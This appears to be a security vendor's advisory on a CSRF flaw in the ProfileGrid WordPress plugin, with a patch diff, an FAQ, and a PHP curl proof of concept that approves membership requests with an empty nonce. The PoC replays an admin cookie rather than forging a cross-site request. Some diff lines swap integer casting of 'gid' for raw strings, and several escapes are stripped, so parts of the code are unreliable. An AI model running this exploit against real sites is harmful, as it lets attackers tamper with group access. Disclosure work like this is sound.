- if ( ! current_user_can( 'manage_options' ) && ! is_super_admin( $current_user_id ) && ! $basic_function->pm_user_is_group_manager( $current_user_id, absint( $gid ) ) ) {
+ if ( ! current_user_can( 'manage_options' ) && ! is_super_admin( $current_user_id ) && ! $basic_function->pm_user_is_group_manager( $current_user_id, $gid ) ) {
wp_send_json_error( esc_html__( 'Insufficient permissions', 'profilegrid-user-profiles-groups-and-communities' ) );
return;
}
@@ -3510,7 +3648,7 @@
$pmemails = new PM_Emails();
$current_user = wp_get_current_user();
$uid = isset( $post['uid'] ) ? $post['uid'] : '';
- $gid = isset( $_POST['gid'] ) ? absint( $_POST['gid'] ) : 0;
+ $gid = isset( $_POST['gid'] ) ? trim( (string) wp_unslash( $_POST['gid'] ) ) : '';
$basic_function = new Profile_Magic_Basic_Functions( $this->profile_magic, $this->version );
// SECURITY: authorization check.
$current_user_id = get_current_user_id();
@@ -3578,7 +3716,7 @@
$dbhandler = new PM_DBhandler();
$current_user = wp_get_current_user();
$path = plugins_url( '/partials/images/popup-close.png', __FILE__ );
- $gid = isset( $_POST['gid'] ) ? absint( $_POST['gid'] ) : 0;
+ $gid = isset( $_POST['gid'] ) ? trim( (string) wp_unslash( $_POST['gid'] ) ) : '';
$uid = isset( $post['uid'] ) ? $post['uid'] : '';
$basic_functions = new Profile_Magic_Basic_Functions( $this->profile_magic, $this->version );
// SECURITY: authorization check.
@@ -4380,7 +4518,9 @@
$include_raw = filter_input( INPUT_POST, 'include', FILTER_SANITIZE_SPECIAL_CHARS );
$exclude_raw = filter_input( INPUT_POST, 'exclude', FILTER_SANITIZE_SPECIAL_CHARS );
$paid_raw = filter_input( INPUT_POST, 'paid', FILTER_SANITIZE_SPECIAL_CHARS );
- update_user_meta( $current_user->ID, 'pg_member_sort_limit', $limit );
+ if ( is_user_logged_in() && ! empty( $current_user->ID ) ) {
+ update_user_meta( $current_user->ID, 'pg_member_sort_limit', $limit );
+ }
$include_ids = array_filter( array_map( 'absint', preg_split( '/s*,s*/', (string) $include_raw, -1, PREG_SPLIT_NO_EMPTY ) ) );
$exclude_ids = array_filter( array_map( 'absint', preg_split( '/s*,s*/', (string) $exclude_raw, -1, PREG_SPLIT_NO_EMPTY ) ) );
@@ -6016,19 +6156,29 @@
}
public function pg_show_msg_panel() {
- $pmrequests = new PM_request();
- /*$uid = filter_input( INPUT_POST, 'uid' ); */
- /*$rid = filter_input( INPUT_POST, 'rid' ); */
- /*$tid = filter_input( INPUT_POST, 'tid' );*/
- $rid = isset($_POST['rid']) ? intval($_POST['rid']) : 0;
- $search = isset($_POST['search']) ? sanitize_text_field($_POST['search']) : '';
-
- //$search = filter_input( INPUT_POST, 'search' );
- $uid = get_current_user_id();
- $tid = $pmrequests->get_thread_id( $rid, $uid );
+ if ( ! is_user_logged_in() ) {
+ wp_send_json_error( 'Authentication required', 401 );
+ }
+
+ if ( ! check_ajax_referer( 'ajax-nonce', 'nonce', false ) ) {
+ wp_send_json_error( 'Invalid nonce', 403 );
+ }
+
+ $pmrequests = new PM_request();
+ $rid = absint( filter_input( INPUT_POST, 'rid', FILTER_VALIDATE_INT ) );
+ $search = sanitize_text_field( wp_unslash( filter_input( INPUT_POST, 'search' ) ) );
+ $uid = get_current_user_id();
+ $tid = absint( $pmrequests->get_thread_id( $rid, $uid ) );
+ if ( 0 === $tid ) {
+ wp_send_json_error( 'Thread not found', 404 );
+ }
+ $thread = $this->pg_get_authorized_thread( $tid, $uid );
+ if ( false === $thread ) {
+ wp_send_json_error( 'Unauthorized', 403 );
+ }
$chat = new ProfileMagic_Chat();
$chat->pg_show_thread_message_panel( $uid, $rid, $tid, $search );
- $pmrequests->update_message_status_to_read( $tid );
+ $pmrequests->update_message_status_to_read( $tid );
die;
}
@@ -6062,18 +6212,19 @@
$sender_id = isset( $message->s_id ) ? (int) $message->s_id : 0;
$current_user_id = (int) get_current_user_id();
- if ( $sender_id !== $current_user_id ) {
+ if ( $sender_id !== $current_user_id && ! current_user_can( 'manage_options' ) ) {
wp_send_json_error( 'Unauthorized', 403 );
}
+ $thread_id = isset( $message->t_id ) ? absint( $message->t_id ) : 0;
$deleted = $dbhandler->remove_row( 'MSG_CONVERSATION', 'm_id', $mid );
if ( ! $deleted ) {
wp_send_json_error( 'Message not found', 404 );
}
- if ( 0 !== $tid ) {
+ if ( 0 !== $thread_id ) {
$pmrequests = new PM_request();
- $pmrequests->pm_update_thread_time( $tid, 2 );
+ $pmrequests->pm_update_thread_time( $thread_id, 2 );
}
wp_send_json_success(
@@ -6083,6 +6234,28 @@
);
}
+ private function pg_get_authorized_thread( $tid, $uid ) {
+ $tid = absint( $tid );
+ $uid = absint( $uid );
+ if ( $tid === 0 || $uid === 0 ) {
+ return false;
+ }
+
+ $dbhandler = new PM_DBhandler();
+ $thread = $dbhandler->get_row( 'MSG_THREADS', $tid, 't_id' );
+ if ( empty( $thread ) ) {
+ return false;
+ }
+
+ $sender_id = isset( $thread->s_id ) ? absint( $thread->s_id ) : 0;
+ $receiver_id = isset( $thread->r_id ) ? absint( $thread->r_id ) : 0;
+ if ( $sender_id !== $uid && $receiver_id !== $uid ) {
+ return false;
+ }
+
+ return $thread;
+ }
+
public function pg_msg_delete_thread_popup_html() {
$uid = filter_input( INPUT_POST, 'uid' );
$mid = filter_input( INPUT_POST, 'mid' );
Proof of Concept (PHP)
NOTICE :
This proof-of-concept is provided for educational and authorized security research purposes only.
You may not use this code against any system, application, or network without explicit prior authorization from the system owner.
Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.
This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.
By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-2494 - ProfileGrid <= 5.9.8.2 - Cross-Site Request Forgery to Group Membership Request Approval/Denial
<?php
$target_url = 'http://vulnerable-wordpress-site.com';
$admin_cookie = 'wordpress_logged_in_abc123=...';
// Simulate administrator clicking a malicious link
$exploit_url = $target_url . '/wp-admin/admin.php?' . http_build_query([
'page' => 'pm_membership_requests',
'bulk_action' => 'approve',
'selected[]' => 1, // Target request ID
'_wpnonce' => '' // Missing nonce is the vulnerability
]);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $exploit_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIE, $admin_cookie);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($http_code === 200 && strpos($response, 'Membership request approved') !== false) {
echo "CSRF exploit successful. Membership request approved.n";
} else {
echo "Exploit failed or conditions not met.n";
}
?>
Frequently Asked Questions
What is CVE-2026-2494?
Overview of the vulnerabilityCVE-2026-2494 is a Cross-Site Request Forgery (CSRF) vulnerability in the ProfileGrid plugin for WordPress, affecting versions up to and including 5.9.8.2. The vulnerability allows unauthenticated attackers to approve or deny group membership requests by tricking an administrator into clicking a malicious link.
How does this vulnerability work?
Mechanism of the exploitThe vulnerability arises from missing nonce validation on the membership request management page. An attacker can craft a request that, when executed by an administrator, can approve or deny group membership without proper authorization checks.
Who is affected by this vulnerability?
Identifying vulnerable usersAny WordPress site using ProfileGrid versions 5.9.8.2 or earlier is affected. Site administrators should check their plugin version and update if necessary to mitigate the risk.
How can I check if my site is vulnerable?
Steps for verificationTo check if your site is vulnerable, verify the version of the ProfileGrid plugin installed. If it is version 5.9.8.2 or earlier, your site is at risk and should be updated immediately.
How can I fix this vulnerability?
Updating the pluginThe vulnerability is fixed in version 5.9.8.3 of the ProfileGrid plugin. Updating to this version or later will mitigate the vulnerability by implementing proper nonce validation and authorization checks.
What if I cannot update the plugin immediately?
Mitigation strategiesIf an immediate update is not possible, consider disabling the ProfileGrid plugin until it can be updated. Additionally, review user roles and permissions to limit access to the membership request management functionality.
What does a CVSS score of 4.3 mean?
Understanding severity levelsA CVSS score of 4.3 indicates a medium severity level. This means that while the vulnerability is not critical, it poses a significant risk that should be addressed promptly to prevent potential exploitation.
How does the proof of concept demonstrate the vulnerability?
Exploit demonstrationThe proof of concept shows how an attacker can craft a URL that exploits the CSRF vulnerability. By simulating an administrator’s action, the attacker can approve a membership request without proper authentication, demonstrating the risk of the vulnerability.
What are the potential consequences of this vulnerability?
Impact of exploitationIf exploited, an attacker could manipulate group memberships, potentially leading to unauthorized access to sensitive areas of the site. This could compromise user data and the integrity of the site.
Is there any additional security practice I should follow?
Best practices for WordPress securityIn addition to updating plugins, regularly review user permissions, implement security plugins, and consider using web application firewalls. These practices can help mitigate the risk of CSRF and other vulnerabilities.
Where can I find more information about this vulnerability?
Resources for further readingMore information about CVE-2026-2494 can be found on the National Vulnerability Database or the official WordPress plugin repository. Security advisories from trusted sources may also provide insights and updates.
How Atomic Edge Works
Simple Setup. Powerful Security.
Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.
Trusted by Developers & Organizations






